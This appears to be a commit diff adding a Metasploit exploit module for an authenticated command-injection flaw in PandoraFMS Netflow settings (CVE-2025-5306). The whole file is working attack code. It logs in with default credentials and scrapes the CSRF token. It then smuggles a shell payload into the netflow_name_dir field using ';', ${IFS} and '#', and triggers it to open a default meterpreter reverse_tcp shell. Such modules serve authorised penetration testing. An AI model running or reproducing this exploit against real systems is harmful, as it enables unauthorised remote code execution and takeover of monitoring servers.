|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::Tcp |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + prepend Msf::Exploit::Remote::AutoCheck |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'PandoraFMS Netflow Authenticated Remote Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => ['msutovsky-r7'], # researcher, module dev |
| 23 | + 'References' => [ |
| 24 | + [ 'CVE', '2025-5306'] |
| 25 | + ], |
| 26 | + 'Platform' => ['unix', 'linux'], |
| 27 | + 'Arch' => [ ARCH_CMD ], |
| 28 | + 'Privileged' => false, |
| 29 | + 'Targets' => [ |
| 30 | + |
| 31 | + [ |
| 32 | + 'Linux/Unix Command', |
| 33 | + { |
| 34 | + 'Platform' => ['unix', 'linux'], |
| 35 | + 'Arch' => [ ARCH_CMD] |
| 36 | + } |
| 37 | + ] |
| 38 | + ], |
| 39 | + 'DisclosureDate' => '2025-12-30', |
| 40 | + 'DefaultTarget' => 0, |
| 41 | + 'DefaultOptions' => { |
| 42 | + 'RPORT' => 80, |
| 43 | + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', |
| 44 | + 'FETCH_WRITABLE_DIR' => '/tmp' |
| 45 | + }, |
| 46 | + 'Notes' => { |
| 47 | + 'Stability' => [CRASH_SAFE], |
| 48 | + 'Reliability' => [REPEATABLE_SESSION], |
| 49 | + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] |
| 50 | + } |
| 51 | + ) |
| 52 | + ) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('TARGETURI', [true, 'The base path to PandoraFMS application', '/pandora_console/']), |
| 57 | + OptString.new('USERNAME', [true, 'Username to PandoraFMS applicaton', 'admin']), |
| 58 | + OptString.new('PASSWORD', [true, 'Password to PandoraFMS application', 'pandora']) |
| 59 | + ] |
| 60 | + ) |
| 61 | + end |
| 62 | + |
| 63 | + def check |
| 64 | + res = send_request_cgi({ |
| 65 | + 'method' => 'GET', |
| 66 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 67 | + 'vars_get' => { 'login' => '1' }, |
| 68 | + 'keep_cookies' => true |
| 69 | + }) |
| 70 | + return Msf::Exploit::CheckCode::Unknown('Received unexpected response') unless res&.code == 200 |
| 71 | + |
| 72 | + html = res.get_html_document |
| 73 | + |
| 74 | + return Msf::Exploit::CheckCode::Unknown('Response seems to be empty') unless html |
| 75 | + |
| 76 | + version = html.at('div[@id="ver_num"]')&.text |
| 77 | + |
| 78 | + @csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil) |
| 79 | + |
| 80 | + return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') if version.blank? |
| 81 | + |
| 82 | + version = version[1..]&.sub('NG', '') |
| 83 | + |
| 84 | + vprint_warning('Token was not parsed, will try again') unless @csrf_token |
| 85 | + |
| 86 | + vprint_status("Version #{version} detected") |
| 87 | + |
| 88 | + return Exploit::CheckCode::Appears("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10')) |
| 89 | + |
| 90 | + Msf::Exploit::CheckCode::Safe("Running version #{version}, which is not vulnerable") |
| 91 | + end |
| 92 | + |
| 93 | + def get_csrf_token |
| 94 | + res = send_request_cgi({ |
| 95 | + 'method' => 'GET', |
| 96 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 97 | + 'vars_get' => { 'login' => '1' }, |
| 98 | + 'keep_cookies' => true |
| 99 | + }) |
| 100 | + fail_with Failure::UnexpectedReply, 'Recevied unexpected response' unless res&.code == 200 |
| 101 | + |
| 102 | + html = res.get_html_document |
| 103 | + |
| 104 | + fail_with Failure::UnexpectedReply, 'Empty response received' unless html |
| 105 | + |
| 106 | + @csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil) |
| 107 | + |
| 108 | + fail_with Failure::NotFound, 'Could not found CSRF token' unless @csrf_token |
| 109 | + end |
| 110 | + |
| 111 | + ## |
| 112 | + # Checks whether login response was valid and successful. It check whether response code is 200 an if body contains either of following values - id="welcome-icon-header", id="welcome-panel" or "godmode" |
| 113 | + ## |
| 114 | + def login_successful?(res) |
| 115 | + res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode') |
| 116 | + end |
| 117 | + |
| 118 | + def login |
| 119 | + res = send_request_cgi!({ |
| 120 | + 'method' => 'POST', |
| 121 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 122 | + 'keep_cookies' => true, |
| 123 | + 'vars_get' => { 'login' => '1' }, |
| 124 | + 'vars_post' => |
| 125 | + { |
| 126 | + 'nick' => datastore['USERNAME'], |
| 127 | + 'pass' => datastore['PASSWORD'], |
| 128 | + 'login_button' => "Let's go", |
| 129 | + 'csrf_code' => @csrf_token |
| 130 | + } |
| 131 | + }) |
| 132 | + fail_with Failure::NoAccess, 'Invalid credentials' unless login_successful?(res) |
| 133 | + end |
| 134 | + |
| 135 | + def valid_netflow_options?(opts) |
| 136 | + opts.each do |item| |
| 137 | + return false if item.blank? |
| 138 | + end |
| 139 | + end |
| 140 | + |
| 141 | + def configure_netflow |
| 142 | + res = send_request_cgi({ |
| 143 | + 'method' => 'GET', |
| 144 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 145 | + 'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' } |
| 146 | + }) |
| 147 | + |
| 148 | + fail_with Failure::NotFound, 'Netflow might not be enabled' unless res&.code == 200 |
| 149 | + |
| 150 | + html = res.get_html_document |
| 151 | + |
| 152 | + fail_with Failure::UnexpectedReply, 'Unexpected response when trying to configure Netflow' unless html |
| 153 | + |
| 154 | + netflow_daemon_value = html.at('input[@name="netflow_daemon"]')&.attributes&.fetch('value', nil) |
| 155 | + netflow_nfdump_value = html.at('input[@name="netflow_nfdump"]')&.attributes&.fetch('value', nil) |
| 156 | + html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil) |
| 157 | + netflow_max_resolution_value = html.at('input[@name="netflow_max_resolution"]')&.attributes&.fetch('value', nil) |
| 158 | + netflow_disable_custom_lvfilters_sent_value = html.at('input[@name="netflow_disable_custom_lvfilters_sent"]')&.attributes&.fetch('value', nil) |
| 159 | + netflow_max_lifetime_value = html.at('input[@name="netflow_max_lifetime"]')&.attributes&.fetch('value', nil) |
| 160 | + netflow_interval_value = html.at('select[@name="netflow_interval"]//option[@selected="selected"]')&.attributes&.fetch('value', nil) |
| 161 | + |
| 162 | + request_data = { |
| 163 | + 'netflow_daemon' => netflow_daemon_value, |
| 164 | + 'netflow_nfdump' => netflow_nfdump_value, |
| 165 | + 'netflow_max_resolution' => netflow_max_resolution_value, |
| 166 | + 'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value, |
| 167 | + 'netflow_max_lifetime' => netflow_max_lifetime_value, |
| 168 | + 'netflow_interval' => netflow_interval_value |
| 169 | + } |
| 170 | + |
| 171 | + fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless valid_netflow_options?(request_data) |
| 172 | + |
| 173 | + request_data.merge!({ |
| 174 | + 'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#', |
| 175 | + 'update_config' => '1', |
| 176 | + 'upd_button' => 'Update' |
| 177 | + }) |
| 178 | + |
| 179 | + res = send_request_cgi({ |
| 180 | + 'method' => 'POST', |
| 181 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 182 | + 'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' }, |
| 183 | + 'vars_post' => request_data |
| 184 | + }) |
| 185 | + fail_with Failure::PayloadFailed, 'Failed to configure Netflow' unless res&.code == 200 |
| 186 | + end |
| 187 | + |
| 188 | + def trigger_payload |
| 189 | + send_request_cgi({ |
| 190 | + 'method' => 'GET', |
| 191 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 192 | + 'vars_get' => { 'sec' => 'network_traffic', 'sec2' => 'operation/netflow/netflow_explorer' } |
| 193 | + }) |
| 194 | + end |
| 195 | + |
| 196 | + def exploit |
| 197 | + # do we have csrf token already |
| 198 | + get_csrf_token unless @csrf_token |
| 199 | + |
| 200 | + login |
| 201 | + |
| 202 | + configure_netflow |
| 203 | + |
| 204 | + trigger_payload |
| 205 | + end |
| 206 | +end |
0 commit comments